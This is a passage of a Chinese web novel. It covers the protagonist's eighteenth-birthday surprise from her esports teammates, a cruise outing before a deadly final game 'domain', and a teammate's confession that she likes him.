三楼的卧室,落地窗的窗帘半拉,从这里能看到外面的夜景,窗旁就开了盏落地灯,风从落地窗的缝隙内吹进来,吹得光影若隐若现。 穿着睡裙的温知初坐在窗旁的藤椅上,躬身看着教练发过来的明日训练日程。 她刚洗完澡不久,头发还半干,乌黑而直的发丝往下垂落,水珠往下滴落。 灯光从身旁的落地灯垂照,落在她的侧脸,被长发半遮的侧脸线条柔和而冷淡,有种太不真实的美感。 眼神落在纸质资料上,但思绪其实并不在,仔细看,会发现温知初的眼神有些失神,也不知道在想些什么。 她在想,下午的事。 下午在院子里的长椅上,和Yu聊了一段时间。 话题没什么可深思的,但…温知初放下手中的资料,往窗外看。 树影在风里晃动,月光洋洋洒洒一大片。 她总觉得晏逾明和她之间,又有些不同了。 从一开始的各怀心思,到后来的互相揣度、试探、合作,再到现在… 温知初说不上来,她不知道用什么词语来形容。 默契?友好?平和? 情感变化这类的事,是她最薄弱的地方,没有其他人帮她总结的话,她怎么想,都无法理解到底是哪些地方出现了变化。 她自己的心境,以及晏逾明对她的心境。 好难啊… 人的情感。 温知初失神地想着,思绪好像要抓住些什么,却什么都抓不住。 说不出来这是这么感受,只觉得外面的风明明很凉快,但想起晏逾明这个人,周围的气氛就像梅雨季一样。 又沉、又闷、又潮。 有些呼吸不过来。 为什么会有这种略带些不适的感受?难道她潜意识里开始讨厌他了么 不可能啊… 034号有些好奇: [宿主,你在想什么啊? ] 先是一阵沉默。 温知初开口:“Yu。” 034号: [在想下午的话么? ] 温知初淡淡地道:“嗯。” 034号也将宿主和Yu之间的变化看在眼中,两人的关系显然变好了很多。 尤其是宿主在这段关系中的转变。 一开始的时候,宿主甚至连和Yu对话都没办法做到,下意识地会僵硬,总是不知道该做出什么样的回应。 因为此消彼长的事,宿主本来就要和Yu保持距离,就导致了在外人看来温知初好像很讨厌Yu的假象。 要是它不知道温知初曾拿偶像这个词用在晏逾明身上的话,也会觉得她讨厌他。 而知道宿主的成长环境后,034号有觉得偶像这个词被用在Yu身上,有些太过了。 宿主在两轮深渊里,大部分时间都在封闭的环境里待着,她不是完全能理解这些词语的意义的,当时用诸如偶像亵渎这类的词,用得比较生疏,大概只是在用此来拒绝它所提供的攻略方案。 当然,034号能明白Yu对于宿主而言,肯定是重要的。 它猜测,是因为他们之间的处境太过相似。 因为相似,所以宿主注意到了Yu ,因为《深渊》的联系,宿主观察着这个和自己相似的人会怎么往下走。 晏逾明是温知初长久惨淡的人生中,唯一不那么无聊的事。 过度的关注产生过度的在意。 而长久注视的人,某种意义上,又怎么不算是偶像呢? 034号自顾自猜测着。 随着相处,他们两人一起经历的事越来越多,作为队友,关系肯定会不可避免地会变亲近。 也就在这过程中,宿主不再像当初一样一遇到Yu就不自然了。 也许是产生了耐受性。 相处中,长久观察着的人不再是一段数据,不再是抽象的概念,而成了身旁具体的人。 034号: [逐渐地、逐渐地,可能感情就没那么浓郁了吧,成了比较温和的队友情。 ] 034号一通分析,过程分析得有几分道理,但结论好像不怎么对劲。 034号:[用网络上的话来说,就是对偶像怯媚了。 ] 反正在它是这么觉得的。 在它心里,宿主连理解情感都那么困难,要说两人之间情感出现变化,总不可能往深里变… 所以才会想到Yu后,心里才会像雨季一样、闷闷的,涩涩的。 034号对自己的分析很自信:[感情变淡了。 ] 034号说了这么长时间的话,温知初一直没作声,她沉默地往窗外看。 夜色里起了一层雾气,月光在雾里都涣散了,树叶在白雾里若隐若现。 听完034号说完最后一句,温知初从窗外抽回视线:“嗯。” 所以那种闷涩的心境是因为感情淡了? 有可能吧。 她也不懂。 她突然想起了什么事,坐到光屏前,修长的手指点击鼠标,切换几个页面后,进入了一个付款界面,显示正在付款中。 网很卡。 034号很好奇: [这是在买什么啊? ] 温知初:“你不知道今天是什么日子么?” 034号思考了会儿没寻思出今天是个什么特殊的日子,不就是3号么? 温知初:“TRES周边开售的日子。” TRES的周边很抢手,每年只在上半年售卖一次。 034号: [我记得之前训练官好像把宿主你自己的周边给了你一份,为什么还要单独买啊? ] 等等… 034号像是意识到了什么,飞快地望向光屏。 付款界面的详细资料里,一排一排的购买详情小字中,写得都是Yu的名字。 Yu的周边,全都买齐了。 还是卡着点买的。 034号:[!] 034号:[!!!!!!!!] 034号: [不是说感情淡了么! ] 温知初平和地看着网页上的付款界面加载:“这话是你说的。” 她实在不懂情感这些事。 温知初:“感情淡了,就不能买周边了么?” 034号:[也不是不能…] “嗯。”温知初的后背依靠到椅背上,神情淡淡的,“这次预算够,比去年多买了三套。” 多出的周边,也不知道干什么用,她想买,就买了。 这也是感情淡了的后遗症么?有更多的购买欲? 034号:[……]魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 100-106 第101章 收货的地址是温知初在A市的公寓。 网卡了好一会儿才终于付款成功, 光屏被熄灭。 034号还想说些什么,电子信号闪了半天也不知道该说些什么。 算了,它再也不想分析情感上的事了。 · 早上七点。 温知初按照教练昨天发来的训练表, 前往B栋训练场馆。 清晨, 还有些冷。 推开门进去后, 发现里面没人。 往常这个时候, 训练官和技术人员肯定早就到了。 温知初缓慢地脱下训练服外套,抬起手腕望向终端。 “小温。”有人从场馆里面走出来。 温知初抬眼。 是一直负责她的一位女训练官。 训练官:“小温,你来B栋干什么啊?” 温知初略微颔首,温和地应声:“来训练。” 训练官笑了笑:“完了, 老钱是不是忘了告诉你,训练计划变了, 今天不分开来训练,统训。” 她朝外面指:“而且是一起出去训练, 车应该已经停在基地门口外,不过八点才出发,你先回去休息吧,等一个小时再出去。” 温知初顿了顿:“好。” 她道:“谢谢。” 她拎上背包, 转身要离开。 “等等”训练官道,“小温,换身衣服呗,这次出去,教练说要低调些不要暴露TRES的身份,你换身常服?还有,可能得在外面待一晚,记得带上换洗衣服。” 奇怪的要求。 “好。” 温知初漫不经心地点头,斜挎起背包离开。 · 回房间后, 温知初简单地收拾了些衣物放进背包,把训练服换下来,略微停顿了会儿,拿了件衣柜里就近的衣服换上。 是套粉白相间的棉质长裙,上半身叠穿一件露肩的薄款针织衫,裙尾柔顺,系着简单的打褶。 头上戴着简单的发带形发箍,浅粉色,坠着几颗莹润的珍珠,如瀑的黑发乖顺得披散,打扮的风格和她自己的私服完全不是一个风格。 034号:[好好看。 ] 鲜少看到宿主看粉色这种亮色,主要是没机会穿。 粉色衬得本来就冷白的脸愈发白皙,难得显露出她这个年龄该有的稚气和朝气。 只是换了件简单的衣服,却让人感觉周围都亮了。 好像多云转晴的天空。 这种颜色的衣服,显然宿主不会主动买,要么就是训练官送的,要么就是晏逾明送的。 温知初显然不会理解034号这么多的内心活动。 她只是伸手,从抽屉里拿出军牌项链,重新戴回脖子上,锁骨上多了两段纤细的灰绳。 弯下腰穿鞋的时候,灰绳上坠着的军牌露出来。 依旧和034号上次看到的一样,正面刻着 1104四个数字,军牌的后面还贴着一张照片。 照片实在太模糊了。 模糊到034号扫描了半天也没能看出那照片上的轮廓到底代表着什么。 是人吗?还是建筑? 这军牌到底代表着什么? 门阖上,斜挎着背包的宿主已经离开。 · 教练安排去统训的车停在基地门口,体型很大,一眼就能看到。 老钱一看到温知初,就朝她招手:“这儿!” 温知初略微颔首:“早。” 比较意外,不是平常他们出去坐的那种大巴车,而是房车。 她上了车。 车上开了通风的空调,吹得房车的门帘晃动。 其他队员已经到了,各自都在伏案看训练资料,车上很安静,邱任望都一反常态地没怎么说话,只抬头看了温知初一眼,而后很快低头继续看资料。 房车上的座位被分成并排的两块区域,左边的位置是四人座,面对面展开,右边的位置是二人座,也是面对面。 两排座位中间是不算太宽敞的过道。 窗户倒是很大,窗帘拉开后,三月的阳光很刺眼地把整个车照得亮堂。 老钱他们这些教练和训练官不和他们一辆车。 老钱确定他们人到齐后,就下车了。 座位都满了,只剩下四人座那块还有一个空位。 晏逾明的右边,邱任望的对面。 温知初把背包放下。 晏逾明顺着动静看向她,眼神落在她身上定了会儿,才收回。 她坐下,顺应车上安静的氛围,翻开手中的书。 外面的阳光太亮,照得书页都快反光了,发间浅粉色的发带被日光照映出珍珠的光泽,衬得温知初有种要被阳光融化的柔软感,眉眼好看的让人难免心悸。 晏逾明侧过脸,不明显地看了她好几眼,嘴角有不明显的笑。 温知初在看书,没注意到这眼神。 不过邱任望的动静太大,她注意到了。 邱任望就喜欢看小温穿亮色,多可爱啊,这才是她这个年龄该穿的衣服。 跟外面的晴天多配。 直接哼出声:“晴天,晴天,不要下雨天…” 温知初抬眼望向对面。 邱任望尴尬地笑了笑,给自己的嘴比了个拉拉链的动作。 顺势又开口:“小温,你知道今天是什么日子么?” 晏逾明看了邱任望一眼。 4号。 温知初:“统训的日子。” 邱任望笑了笑,有点儿没话硬聊的样子:“是,对,是。” 说完后,他彻底给自己的嘴拉上拉链,没再给安静的车厢添声儿了。 房车在公路上平稳地运行。 阳光的存在感太足,半撑住下巴的温知初侧过脸,望向窗外。 能看到远处的山谷连绵,也能看到路两边的香樟树高而茂密,房车顶似乎被香樟树叶刮蹭到了,发出一连串的窸窣声。 看着外面定了会儿神,收回视线的时候,却和人对上了视线。 身旁的晏逾明看着她,也不知道看了多久了,以至于她的眼神只是掠过,两人的视线便这么对视上。 内心那种梅雨季般的感觉似乎又要开始发散。 温知初望着晏逾明,不知道他为什么要盯着她,轻轻地挑了挑好看的眉头,像是无声地在问他在看什么。 晏逾明依旧望着她,也挑了挑眉,不知寓意。 温知初收回眼神,重新望向书页。 颀长的手指依旧撑着下巴,书页上的文字却变得有些读不进去。 房车拐了个弯,窗外的光线忽而暗下来。 车进了一条长隧道,没有外面的日光,房车内一片漆黑,什么都看不见。 “小温,”章诎的声音响起,“帮忙开个灯。” 她的位置靠近灯座开关。 温知初应了声,她站起身。 手下的开关按了下去,房车内的灯没有亮。 停电了? 温知初抬眼。 “祝你生日快乐,祝你生日快乐——” 过道的拐角,微弱而昏黄的烛光亮起,屈孚宁那几个人不知道什么时候突然离开又出现,毫无征兆地唱起生日歌。 邱任望拉起彩带棒,往半空上拉响。 “祝你生日快乐——” 温知初抬眼,愣了有几秒,才后知后觉地想起,今天是她的生日。 三月四日。 是她成年的日子。 是她来到这个世界的日子,也是她自己从未庆祝过、也没人给她庆祝过的日子。 每个人都拿了根蜡烛,像在哄小孩一样唱着生日歌,手上拿的还是那种会喷小火花的蜡烛棒。 一闪一闪发亮。 生日歌越唱越大声,大家全都热切地鼓起掌。 温知初已经不是什么小孩儿了,也不需要哄。 她只是有些意外。 温知初:“谢谢。” 她的嘴角扬起温和的笑,由衷地道谢。 从来没有人为她庆祝过生日,她也不觉得三月四日这一天,有什么值得庆祝的。 这个日子像个诅咒,是她来到联邦监狱的日子。 4号,也是<深渊>里的电子剥离日。 一个充满恶意的日子。 一个她从来没在意过的日子。 说到她的生日,即可点破《深渊》对她的另一道恶意了,深渊派来的系统,正好叫作034号,无时无刻地提醒着她出生的日子,她的来历。 联邦监狱里的人不被当成人,为了方便管理,每个人都有各自的编号,这个编号就是他们各自的生日。 她出生在三月四号,所以她在监狱里的名字就是034号。 当第一次见到034号的时候,她就知道深渊的用意了。 “034号,去训练了。” “034号,去实验室。” “034号,去比赛了。” “034号,还有生命体征。” …… . 所以带她来到深渊的三月四号,真的是一个值得庆祝的日子吗? 起码曾经不是。 曾经很长时间里,只是她的一个代称。 “祝你生日快乐——” 邱任望带着其他人扯着嗓门儿继续唱生日歌,将铭尤其不擅长唱歌,已经唱破音了。 温知初说不上来这到底是个什么情绪,她不在意的日子,似乎会有其他人在意。 她轻轻地笑了,笑容里其实有些无奈。 这次的笑不是模仿其他人按照氛围产生的笑,而是真的觉得有些好笑,也不知道是因为被惊喜意外到了,还是觉得生日祝福的歌声太过滑稽。 烛光照在温知初的侧脸,轮廓美好得不真实。 她重复道:“谢谢。” 手上捧着生日蛋糕的晏逾明倚靠在门旁,高大修长的身影垂眼,垂眼盯着温知初。 似乎想观察仔细她的每一个情绪变化,替她体会她自己无法由衷感知到的情感。 看到她笑,晏逾明也跟着笑了笑。 他想,温知初应该不知道,在他眼里,她真的尤为可爱。 虽然有着她这个年龄没有的稳重和镇定,经历太多导致底色太过沉重,可是也有着她这个年龄才有的明亮。 对啊,这个年龄,还是可爱的年龄。 粉色真的很衬她,给她带来一种快要被融化的柔和,融化了她周身的冷淡,让人觉得是可以去靠近的。 她出生的这个季节,外面的树叶明亮到发亮。 晏逾明不是一个爱笑的人,但他特别爱看温知初笑。 房车开出了隧道,窗外的光再次刺眼地照进来。 晏逾明走到温知初身前,深邃的眼神中似乎藏了些话语,手上的蛋糕举到了温知初面前。 他盯着温知初,直到温知初的注意力从其他人身上收回来,抬眼看他,才开口。 “许个愿吧。” · 今天好像要去特别远的地方,房车一直在大路上开,不知不觉都下午了。 温知初把队友给她的礼物都整理好,塞进背包里。 车上邱任望一直在尖叫,因为他一直在拿蛋糕抹人,现在被章诎夹在胳膊下教训,脸被塞在了蛋糕里。 温知初也是邱任望恶作剧的受害者之一,刚才在过道里整理背包的时候,脸上也被抹上了一道蛋糕长痕。 不过她淡淡地接受了,继续收拾手头的东西。 收拾完桌面后,她坐回位置上,拿纸擦拭脸上的蛋糕痕。 身旁响起了低沉的笑声。 温知初回过头看了一眼,想问他在笑什么,他却先开口了。 晏逾明:“能问你一个问题么?” 温知初擦拭着侧脸:“嗯。” 晏逾明:“你还记得我们第一次见面的时候么?” 温知初:“比赛的时候?” 晏逾明:“你把我推下深渊的那次。” 他们两个当面聊这个,哪怕已经知道背后的原因和真相,还是有些黑色幽默。 温知初的眼睫颤了颤。 晏逾明:“你当时为什么不说话?” 以至于在他印象中的很长时间里,她都是个小哑巴。 温知初回忆了会儿当时,语气略微带上了笑意:“我当时还不会说话。” 上一轮《深渊》里,她和晏逾明在比赛里相逢时,她刚从联邦监狱脱离不到半年。 可以说,她和外界的接触,只有杀戮比赛。 一个无感情的杀戮机器,是不需要会说人话的。 这个解释让晏逾明侧过脸望向她,长久地盯着。 他想看看温知初会不会在意当时的艰难,显然,她不会在意,甚至嘴角还有轻笑,像是觉得当时的情境有些好笑。 晏逾明:“当时你是在帮我,我欠你一条命。” 温知初慵懒地摇了摇头:“太夸张。” 话题有些跳跃,不知道是不是想转移话题。 晏逾明突然问:“他们送的生日礼物你喜欢么?” 温知初有礼貌地回应:“喜欢。” 晏逾明:“这次我没准备生日礼物。” 嘴角有不明显的笑意,显然是在逗人。 温知初顺着话说,语气依旧很有礼貌:“好。” 晏逾明望着她:“开玩笑。” 温知初有些不知道该接什么话,她觉得晏逾明似乎离她有些太近了,以至于声音好像就在耳边响起。 比起杀戮和竞赛,显然和晏逾明聊天更难,因为永远不知道晏逾明下一句会说什么,带着什样的用意。 以及心底那说不清楚的梅雨季。 她坐直身,有些不自然地捏了捏耳垂。 有人在后排喊她,温知初转身,耐心地回答他们的问题。 晏逾明没有转头望向后排的队友们,他一直盯着身旁的温知初,视线带满了说不清道不明的意味。 一个完美的存在,一个天生就应该站在光芒里的存在,一个无论什么事都能做成的存在,一个把他拽出深渊的存在让他这个在深渊里待了太久的人又怎么不心生歹念。 他有些不爽。 因为这人的眼神不可能永远停留在他身上,哪怕他已经察觉到她对他的在意。 晏逾明的鞋轻轻地踩在了温知初鞋的边缘,抵了抵。 温知初转过身,对话中止,她望向他。 晏逾明垂眼,目不转睛地盯着她,嘴角有不明显的笑:“你可以踩回来。” 第102章 温知初愣了愣:“嗯?” 所以她才说人这种生物很难理解, 这其中晏逾明最难。 这种奇怪又熟稔的要求,就是034号口中的、他们间逐渐转为温和且平淡的队友情么? 温知初没踩回去,只是像Yu一样, 也用鞋尖抵了抵他的鞋畔。 Yu似乎笑了。 后排站着在跟章诎聊天的屈孚宁感慨道:“ Yu哥真的好喜欢小温啊。” 他口中的这种喜欢, 是哥哥对妹妹的喜欢。 反正从很久之前, 他就发现, 有温知初的地方, 不远处肯定有Yu哥。 屈孚宁没看懂,但章诎看懂了。 眯着的狐狸眼中暗含深意:“是啊,两人其实相似点很多,肯定聊的来。” 哥哥对妹妹,可没那种占有欲。 印象中的晏逾明是一个无欲无求、冷漠到极点的人,他的神情中、行为中,可从来没这么直白地表露出如此想要靠近一个人的欲望。 甚至有些急切了。 邱任望的手靠在帘子前的柜子上:“我们等会儿要去的地方, 是Yu哥安排的,是Yu哥给小温的礼物,我们算是单纯蹭了一趟。” 他开玩笑道:“真让人吃醋啊,我和Yu哥认识这么久,都没见他对我这么好。” 章诎顺着他的话说:“对弟弟和对妹妹能一样吗,还有…你和温知初比…” “打住。”邱任望道,“我只是开玩笑, 他们关系从一开始那样变成现在, 没有谁比我更开心了。” 一开始跟有仇一样… 是啊, 真好。 温知初这么好的人…好到就像是不存于世的完美幻影,稍微一不注意,可能就要消失了。 邱任望感慨道:“Yu哥肯定把小温当亲妹妹看待了。” 章诎看了一眼,眯了眯狐狸眼,摇了摇头。 · 至于邱任望口中所说的目的地… 他们要出海。 “游轮!” 等海平面和渡口的游轮展露在眼前,这惊喜就没必要再藏了。 邱任望已经站了起来,大喊。 将铭抬起手,试图想把跳着的邱任望给按回座位,屈孚宁用双手捂住耳朵,阻挡过于高昂的尖叫声。 一望无际的海。 岸边停着一艘中型的游轮,白色的。 有板子从甲板那里垂下来,递上岸,房车是可以直接开上游轮的。 轮胎碾过厚重的板子,发出轧响,往最底层的甲板开,停靠。 推开门,下车。 海风迎面而来。 风里带着点儿咸味,清爽而充斥潮湿的气息。 温知初下了车,衣服在风里被吹胀,衣角翻飞。 一共有三层甲板,游轮很宽敞。 温知初站到甲板的边缘,栏杆是镂空的,一望无际的海水触手可及,几乎要翻飞上来。 温知初出神地望着海水,远远看去,身影快要和海水和天际融在一起。 到傍晚了。 其他人在收拾东西,在二楼甲板上想搭建一个聚会的场地,准备傍晚吃一趟,晚上看完星星还可以再吃一趟夜宵。 喝喝酒什么的。 温知初本来也想过来帮忙收拾,被其他人给拦住了。 说是寿星不能干活儿。 但屈孚宁的那串灯搭不明白,温知初还是过去帮忙把灯绕到甲板支柱上,挂完灯后,这才离开。 她站在三楼甲板上看海。 二楼的搭建快到尾声。 木质餐桌上铺开白布,上面摆着啤酒罐、果汁、一些早就准备好的各类食物,烤肉、刚做好的热汤,还有将铭难得下厨做的披萨。 灯串绕在甲板柱上,在风中随着船的颠簸泛出有节奏的光亮。 屈孚宁给弄了点儿音乐,节奏不是很热烈的那种,声音调低,可以当个有点儿仪式感的背景音。 · 吃晚饭了。 几张木桌拼在一起,因为海风太大,桌上的桌布一直在飘飞,温知初下楼后,拿了几个玻璃杯压住桌布的角落。 桌上错落摆上碗盘,中间是蛋糕。 六个人围成一桌。 海风很潮,海太过宽敞,宽敞到一时让人忘了自身的处境。 忘了身处<深渊>,忘了马上就得前往最后一轮域。 章诎吃了口面:“你们应该知道我们明天得走了吧?” 屈孚宁:“知道。” 教练刚在群里说了。 时间太赶了。 <深渊>不会给他们完备训练的气口,迫不及待想要把他们赶尽杀绝。 第五轮域,将于明日晚上展开。 这一次,和前面四次的不同,这一去,就回不来了。 要么就死在域里,要么就离开<深渊> 。 这一次聚在一起,可能是他们最后的晚餐。 这个话题有些沉重。 温知初在旁边听着他们说话,吃得不快,话相对也少,偶尔提到她的时候才应几声。 邱任望转移话题:“狐狸,等会儿喝完酒和我打牌。” 在打牌上,无论什么棋牌游戏,他都没怎么赢过章诎。 章诎:“如果你到时候还醒着的话。” 邱任望酒量不好。 说到这个。 邱任望转向温知初:“小温你不是成年了么,要不要喝酒?” 温知初无所谓:“可以。” 邱任望:“喝什么…” 他犯了难,是啤酒、红酒、果酒、还是度数深点儿的…桌子上还有白兰地。 他伸手想拿温知初手旁的杯子,被章诎扯住了胳膊。 因为温知初的杯子被另一只骨节分明的手给按住了。 晏逾明看了邱任望一眼,冷漠的眼神里有警告。 邱任望被看了一眼,差点儿酒醒了。 章诎拍了拍邱任望的后背:“你喝自己的,别多管闲事。” 邱任望低声嘟囔着:“小温又不只是Yu哥一个人的…”妹妹。 还妹妹呢。 温知初顺着眼前的手望向手的主人,和按着她杯子的晏逾明对上眼神。 原本冷漠的眼神,看向她时,带上了耐心。 低沉的声音耐心地压低了:“真的想喝酒?” 温知初顿了顿,她摇头。 没那么想喝。 晏逾明:“牛奶,果汁?” 温知初思索了会儿:“牛奶。” 她接过递来的牛奶,没让晏逾明给她倒,自己给空杯子里倒上了牛奶。 晏逾明坐在她身旁,座位和她并不是同一个水平线,他的椅子要往后一些,高大修长的身影朝她所在的方向倾斜,眼神若有若无地,偶尔看向其他正在说话的人,又很快回到温知初的身上。 话题说着说着,又绕回了第五轮域。 邱任望已经有些醉了,他的身体趴在桌子上:“你们说,第五轮域到底是怎么样的。” 这个问题问出来也没人知道。 只有<深渊>知道。 《深渊》已经溃败了,剩下来的<深渊>无论如何,都会用尽所有的办法让他们出不去。 他们处于完全的劣势。 等待他们的,是无限的厮杀。 想起这个,邱任望下意识地看向温知初了一眼,就好像看到她在,人心里也踏实一些。 说实话,他们这里,唯一的优势,也就是有温知初了。 温知初在看晚霞。 太阳快落了。 邱任望:“你们想过,如果我们真的出去了,你们想做什么吗?” 已经在<深渊>被关了六年,猛地一想外面的世界,他们原本所在的世界,第一时间涌上来的不是欣喜,而是近乡情更怯。 一时间,没人接话。 桌上的话题没停过,只不过后面的话题变得轻快起来,刻意地避开一些敏感的问题。 邱任望聊着聊着,酒劲儿犯了上来,要眯不眯的双眼彻底闭了过去,实在抵挡不住困意,趴在桌子上睡了过去。 温知初注意到了。 她顺手拿了个毯子,披到邱任望身上。 她站起身,离开了餐桌。 在甲板旁站着。 海风往身上吹,温知初的双手漫不经心地搭在栏杆上,目光落在海平线上。 海平面上只剩下一点点光了,晚霞也快褪尽了,像一幅被打湿的油画,油画上的橘红和靛蓝交叠着,快要掉落到海里。 身后偶尔传来笑谈声。 晏逾明走过来。 一开始没立刻开口,只站到她身旁,看她。 他也在看油画,看那些橘红和靛蓝落在温知初的身上,他看着温知初转过头,望向他。 说实话,他非常喜欢她的双眼,深黑而充满张力,好像能看清任何人的灵魂。 晏逾明喜欢看温知初笑,只有笑起来,才不会显得太过冷淡,她笑起来后,会露出她特有的温和与天真。 让人觉得能被纳入眼里。 晏逾明和她一起站到栏杆旁:“在看什么?” 温知初:“海。” 晏逾明:“好看?” 温知初:“浪比我们刚来的时候平了。” 看来是真的在看海。 不像他。 晏逾明靠在栏杆旁,手上拿着白兰地的酒杯,杯里的冰块快融了。 温知初看过来:“这是什么?” 晏逾明:“烈酒。” 他问:“喝一口么?” 温知初思索了会儿,点了点头。 晏逾明略微扬起唇角,手腕避开温知初伸过来拿杯子的手,提议的是他,不给的又是他。 他垂眼望着她:“不好喝。” 温知初收回了手,酒这种东西,她可有可无:“我成年了。” 晏逾明:“烈酒,呛人,不适合你。” 晏逾明盯着温知初,慢条斯理地收回酒:“你知道吗,烈酒这种东西,喝完了后容易说些…平时说不出口的话。”一些不符合场合的话。 温知初看着他,没表态。 晏逾明:“不信?” 温知初轻轻地笑了笑:“嗯。” 确实不可信,他本来说的不是什么真话。 是想借着这话,引出后面的话。 晏逾明骨节分明的手握着酒杯:“我喝给你看。” 温知初侧过脸,认真地看。 晏逾明靠着栏杆,一边盯着温知初一边喝了一口。 “比如——” 他开口:“去年大概这个时候,有人在王序病房里留下了一张贴纸,我知道是你。” 温知初愣了愣。没有否认。 有些没想到Yu说的话会是往这个方向走的。 晏逾明又喝了一口,依旧盯着他。 “还有,你知道的,TRES的老板是我,在后台,我能看到TRES的一些经营细节,”他道,“我不是故意想去调查的…” 他开口:“我看到,你有在买我的周边。” 去年买了,今年也买了。 温知初深黑的双眼定住了,眼神有些失神,不知道是因为晏逾明的话,还是因为自己内心的梅雨季,好像因为晏逾明的话,更加闷涩了。 她不是会因为这些事就会慌乱的人,但修长的手指不自禁又摸向了耳垂。 耳朵好像又红了。 脸好像也在发烫。 原来他知道啊…什么都知道。 晏逾明嘴角散漫的笑意也收了,盯着温知初的眼神愈发深沉,他又喝了一口酒。 以温知初的出身和成长环境,她不能理解情感是一件再正常不过的事,她不懂,他可以让她懂。 在这方面,没有谁比他更耐心了。 他也不允许任何其他人来做这件事。 温知初捏了捏自己的耳垂,她承认自己犯下的罪行:“是我。” 抿了抿唇线,有些不好意思地笑了笑。 太阳彻底沉下去了,晏逾明站近,为了把眼前的人看得更清楚。 他可能有些醉了,总感觉温知初快要和身后的海、天、云融为一体,海面深蓝,天也是深蓝的,海天一色,干净得像是能洗涤人的灵魂,让人想伸手碰一碰,看看眼前的温知初还在不在。 晏逾明又喝了一口能让人说真话的烈酒。 他依旧盯着温知初:“还有。” 他伸出手,指节分明的手指伸向温知初的耳廓,轻轻地蹭了一下:“你有没有发现,每一次我特别靠近你的时候,你的耳朵都会红。” 他很早就发现了。 像他这样无时无刻不关注着她的人,怎么可能会没发现这一点。 晏逾明的语气突然变得十分温柔:“你知道为什么吗?” 温知初定住了。 那双深黑的、总是看起来很多情的双眼终于看向了他。只看着他。 她不知道。 这种本能,和心底的梅雨季一样,是个未解之谜。 其实晏逾明也不能知道确切的答案,不知道这种本能到底出自于他们之间有太多命运间的牵绊,造成一种生理性的错觉,还是因为她其实和他一样… 晏逾明:“你喜欢我。” 夜色里,他像是在引导着什么,深深地望着温知初:“你特别喜欢我,温知初。” 第103章 海天如此辽阔的夜色, 却因为刚才的对话,平添了几分散不开的梅雨季的闷涩。 那天色的尽头,看起来都快要起雷声了。 起码温知初的内心有了闷声的雷。 晏逾明离开了, 温知初愣在说不清道不明的夜色里, 一时间, 深黑的双眼里, 思绪万千。 天色好像快要压下来。 又好像有什么东西,要从夜色里涌出来。 晏逾明的离开是对的,他不离开, 温知初无法思考。 修长的身影愣在了夜风中, 情感这种事,好像在风中被撕裂开的竹帘子, 她只有独自一人认真地靠近那帘子的缝隙,认真地往里看。 才能看得清自己到底在想什么。 · 晏逾明回了船尾, 餐桌已经收了,木桌上都是散乱的棋牌,挡风的顶棚在风里慢速地晃动,其他人都去三楼了, 这里只有他一个人。 高大修长的身影坐下。 他落座的位置半露天,离甲板的栏杆较远,但坐下后, 能远远地望到温知初的背影。 天和海之间, 月亮垂落一丝天光, 温知初的身影就站在了那明暗不清的光影中, 好像快要融入天色间的烟雨,或是雾气。 美好而让人难以捉摸的存在。 风吹翻了桌上的牌,他却没察觉到, 无法移开眼光。 晏逾明想象着她的神情。 会依旧像往日那般平静而沉默么? 晏逾明的内心要比他外在表现出的慌乱很多,刚才的对话,最紧张的人应该是他了。 是的,紧张这个词,也会用在他身上。 他在说那些话时候其实也在害怕一些东西,他不想从温知初的口中听到否定的答案,也不想因为这些话给她留下不好的印象。 于是趁着对方还在思考,他回来了。 他也有今天。 往往是他让其他人慌乱,现在也会经历这些。 温知初喜不喜欢他,他不敢确定,但是他喜不喜欢温知初,答案是肯定的,绝对的。 在很早之前,他的目光便长久地只停留在她身上了,这种感情,是如何变成喜欢的? 这很难说清。 也许很早。 喜欢上温知初是一件非常容易的事,温知初这个存在,本身就是一个很好的存在,一个接近完美的存在,而人的内心都是向往美好事物,是慕强的,很难不把目光停留在她身上。 不只是他,身边的很多人,那些队友,全都喜欢温知初。 只不过比起其他人,他的这份喜欢要来得太过贪心。 不仅仅止步于普通朋友之间的喜欢。 他想占有她,想独占她,他不喜欢温知初的目光落在其他人身上。 只谈喜欢,不论浓度的话,其实在看她的第一眼,他就对她有所留意了。 还是在上一轮《深渊》的时候,他和她在比赛里相遇。 要知道,他当时,处于人生最混沌的时候,对任何事物都抱有恶意,可看到敌队的她,却莫名停顿了目光。 说是顺眼也好,说是直觉也好,他注意到了她。 而后,他做了一件当时他最不可能做的行为。救人。 他这辈子,唯一一次没在剧情的推动下、主动当好人,就是因为温知初。 他们之间的宿命纠缠,就是从那时开始了。 从她把他推下深渊后,就注定他们两个人永远会纠缠在一起,而温知初这三个字,早就深深地刻在了他生命的每个节点里。 于他而言,这个世间特别荒诞而混沌,但温知初不一样,她推下了他,也救了他。 是新生,也是他活在这个世上,看着的方向。 再之后,他们经历了更多。 一起成为了TRES,一起进入了不同的域,同生共死。 他又看到了更多面的她,看到了更真实的她。 温知初看人的时候,那双深黑的双眼总是那么深沉,她有一双深情的眼,黑白分明,无论看什么事物都很深情。 时常给他一种错觉,被这双眼睛注视的时候,就好像无论他提出什么要求,她都会应允一般。 她确实能做到很多事,无论是队友的请求,还是域里的剧情目标,无论是看起来能完成的还是不可能完成的,她总能做到。 其实Yu进入域,从来没想过一定要活着走出去,因为他不在意,他的行为和思想都是消极而冷漠的,他对活着出去并没有什么执念。 日子对他而言,过一天算一天,过不下去,那就算了。 可温知初的到来让一切都产生了变化。 在一轮又一轮的域里,日子不再是过一天算一天,也有了其夺目的那部分。 有那么一天, Yu发现自己不用再用杀戮来寻找活着的意义了。 在域里,有那么几个时刻,他觉得人生厌烦,想要放弃徒劳的努力时,望向温知初后,又觉得安心了。 他不想死,他想继续看着温知初。 在域里最艰难的永远是她,她能往前走,他便也不会停。 温知初应该不知道,她在他心里有多重要。 就像一个一直晦暗、潮湿的房间,突然被开了扇窗,窗外有深蓝的天,有深蓝的海,辽阔而治愈,沉甸甸地压了下来。 压在了他心里。 世界上只有一个温知初,连<深渊>都复刻不了。 晏逾明是设计过游戏的人,像温知初这样的存在,放在游戏里,通常是那种精神标杆类的角色,做不可能做成之事,走不可能走出之路,永远沉稳,经历最多的难处,却能在磨难中走出来,甚至带领着其他人走出来。 这样的存在,一般都是独行的,有自己的世界,一般不会有世俗的情感观,是不会给其设计感情线的。 这样的角色是带有神性的,你要让她和情感沾上关系,就太贪心了。 事实上也是这样,温知初的情感很淡薄,对于她的十几年人生而言,光是要活下来,就花了太多时间,她没有余力去体悟这些情感。 晏逾明知道,温知初对他的喜欢,是纯粹的,不带有私欲的。 是长久命运纠葛中产生的一种长久关注,是觉得他们两个人才能理解彼此的一种羁绊。 